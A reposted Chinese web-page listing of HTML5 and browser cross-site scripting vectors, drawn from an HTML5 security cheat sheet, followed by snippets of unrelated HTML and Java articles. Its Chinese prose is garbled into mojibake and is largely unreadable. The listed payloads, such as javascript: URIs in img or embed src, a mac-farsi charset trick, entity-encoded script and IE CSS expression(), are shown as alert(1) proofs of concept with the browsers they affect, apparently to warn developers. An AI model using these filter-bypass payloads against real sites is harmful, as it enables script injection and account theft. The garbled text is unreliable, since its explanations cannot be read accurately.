Ò׽ؽØͼÈí¼þ¡¢µ¥Îļþ¡¢Ãâ°²×°¡¢´¿ÂÌÉ«¡¢½ö160KB

HTML °²È«Áбí

ÏÂÃæÕâ¸öÍøÕ¾ÂÞÁÐÁË£¬¼¸ºõËùÓеĹØÓÚHTML 5 ÔÚ¸÷ÖÖÖ÷Á÷ä¯ÀÀÆ÷ÉϵݲȫÎÊÌ⣬ÕâЩ°²È«ÎÊÌâºÜÓпÉÄܽ«»áÊǺڿ͹¥»÷ÄãµÄÍøÉϵÄÇÃÃÅש£¬ËûÃǼ¸ºõ¶¼ºÍJavascript¶¼ÓйØϵ£¬Äã¾ÍÒªºÃºÃ×¢ÒâÁË¡£
http://heideri.ch/jso/
ÏÂÃæÂÞÁм¸¸ö£º
1£©<table background=”javascript:alert(1)”>
IE6£¬7£¬8£¬9£¬ºÍOpera 8.x, 9.x, 10.x ¶¼Ö§³ÖÕâÑùµÄÓï·¨¡£
2£©<meta charset=”mac-farsi”>¼script¾alert(1)¼/script¾
Õâ¸öÎÊÌâ»á´æÔÚÓÚËùÓеÄFirefox°æ±¾ÖУ¬¿ÉÒÔÈÃÓû§½øÐÐXSS£¨¿çÕ¾½Å±¾£©¹¥»÷
3£©<script>&amp;#x61;l&amp;#x65;rt&amp;#40;1)</script>
ÔÚ<script>ºÍ<style>µÄTAG¼ä£¬¸ù¾Ý±ê¾Ý£¬Æä¿ÉÒÔʹÓÃÕâÑùµÄ×Ö·ûÀ´ÔËÐнű¾¡£ÕâÔÚËùÓа汾µÄFirefox, Opera, ºÍ ChromeÖж¼»áÓÐÎÊÌâ¡£
 
4£©({set/**/$($){_/**/setter=$,_=1}}).$=alert
ÉÏÃæÕâ¸öÊÇFirefoxµÄÒ»¸öÓï·¨£¬Ò²»á²úÉúXSS¹¥»÷¡£
5£©<div style=”font-family:foo}x=expression(write(1));”>XXX</div>
×Ô´ÓIE5.5ºó£¬Ö±µ½IE9£¬IE¾Í¿ÉÒÔÖ§³ÖÉÏÃæÕâÑùµÄÓï·¨¡£
6£©srcÖÐÊÇ¿ÉÒÔÔËÐнű¾µÄ£¬È磺
<embed src=”javascript:alert(1)”>
<img src=”javascript:alert(1)”>
<image src=”javascript:alert(1)”>
<script src=”javascript:alert(1)”>
ÓÖÒ»¸öXSS¹¥»÷£¬¼¸ºõËùÓеÄä¯ÀÀÆ÷¶¼Ö§³ÖÕâÑùµÄ·½Ê½£¬È磺FirefoxÈ«²¿°æ±¾£¬Chrome 4.x/5.x£¬Opera 8.x/9.x/10.0£¬IE 6.0/7.0ºÍSafari 3.x/4.x
 
»¹Óкܶ࣬´ó¼Ò×Ô¼ºÈ¥¿´°É£¬Õâ¸öÍøÕ¾¾­³£¸üеġ£×ÜÌå¸Ð¾õÏÂÀ´£¬IEºÍFirefoxµÄ°²È«ÎÊÌⶼÔÚ²®ÖÙÖ®¼ä£¬SafariòËÆÊÇÎÊÌâ×îÉٵġ£
 
ת×Ô- ¿á¿ÇÍø(http://coolshell.cn/?p=2416)


Ïà¹ØÎĵµ£º

ÍøÕ¾HTML¾²Ì¬»¯½â¾ö·½°¸

package com.jb.y2t034.thefifth.web.servlet;  
import java.io.ByteArrayOutputStream;  
import java.io.FileOutputStream;  
import java.io.IOException;  
import java.io.OutputStreamWriter;  
import java.io.PrintWriter;  
import jav ......

html css ±í¸ñ±ß¿ò

<html>
<head>
<mce:style type = "text/css"><!--
table
{
border-collapse:collapse;
}
td
{
border:solid 1px black;
}

--></mce:style><style type = "text/css" mce_bogus="1">table
{
border-collapse:collapse;
}
td
......

HTMLתPDF£¨C# itextsharp£©

Ò»¡¢ ÐèÇ󣺽«HTMLתPDF´òÓ¡¡£WebÏîÄ¿ÖÐ×ÜÊÇÓÐÕâÑùµÄÐèÇ󣬺ÜÊÇÈÃÈË¿àÄÕ¡£
¶þ¡¢ ·ÖÎö£ºÈçºÎÍê³ÉÕâ¸ö¹¤×÷£¿
1¡¢ ÐèÒª½âÎöHTML£¬È»ºóÀûÓÃitextsharp»æÖÆpdfÎĵµ¡£½âÎöHTMLÊÇÒ»¸öºÜÄÑÍê³ÉµÄÈÎÎñ£¬¸÷¸öä¯ÀÀÆ÷¶ÔHTMLµÄ½âÎöÎ廨°ËÞÍÖªµÀÕâ²»ºÃ½â¾ö¡£ÕâÌõ·²»ºÃ×ߣ¬µ«Ò²ÊÇ¿ÉÒÔÍê³ÉµÄ£¬Í¨¹ýwebbrowserÀà¿ÉÒÔ½âÎöHTML»ñÈ¡¸÷¶ÔÏóµ ......

ÓÃJSÅжÏÒ»¸öhtmlÔªËØÊÇ·ñ´æÔÚµÄÎåÖÖ·½·¨

ÓÃjavascriptÅжÏÒ»¸öhtmlÔªËØÊÇ·ñ´æÔÚµÄÎåÖÖ·½·¨£º
1. ÅÐ¶Ï±íµ¥ÔªËØÊÇ·ñ´æÔÚ£¨Ò»£©
if("periodPerMonth" in document.theForm){
return true;
}else{
return false;
}
2. ÅжÏÒ³ÃæÔªËØÊÇ·ñ´æÔÚ
if(document.getElementById("XXX")){
//´æÔÚ
}
3. ÅÐ¶Ï±íµ¥ÔªËØÊÇ·ñ´æÔÚ£¨¶þ£©
if(document.theForm. ......

HTML link ±êÇ©


HTML <link> ±êÇ©
¶¨ÒåºÍÓ÷¨
<link> ±êÇ©¶¨ÒåÎĵµÓëÍⲿ×ÊÔ´µÄ¹Øϵ¡£
<link> ±êÇ©×î³£¼ûµÄÓÃ;ÊÇÁ´½ÓÑùʽ±í¡£
ʵÀý
Á´½ÓÒ»¸öÍⲿÑùʽ±í£º
<head>
<link rel="stylesheet" type="text/css" href="theme.css" />
</head>
TIY
ä¯ÀÀÆ÷Ö§³Ö
ÔÚÓÃÓÚÑùʽ±íʱ£¬<link> ±êÇ ......
© 2009 ej38.com All Rights Reserved. ¹ØÓÚE½¡ÍøÁªÏµÎÒÃÇ | Õ¾µãµØͼ | ¸ÓICP±¸09004571ºÅ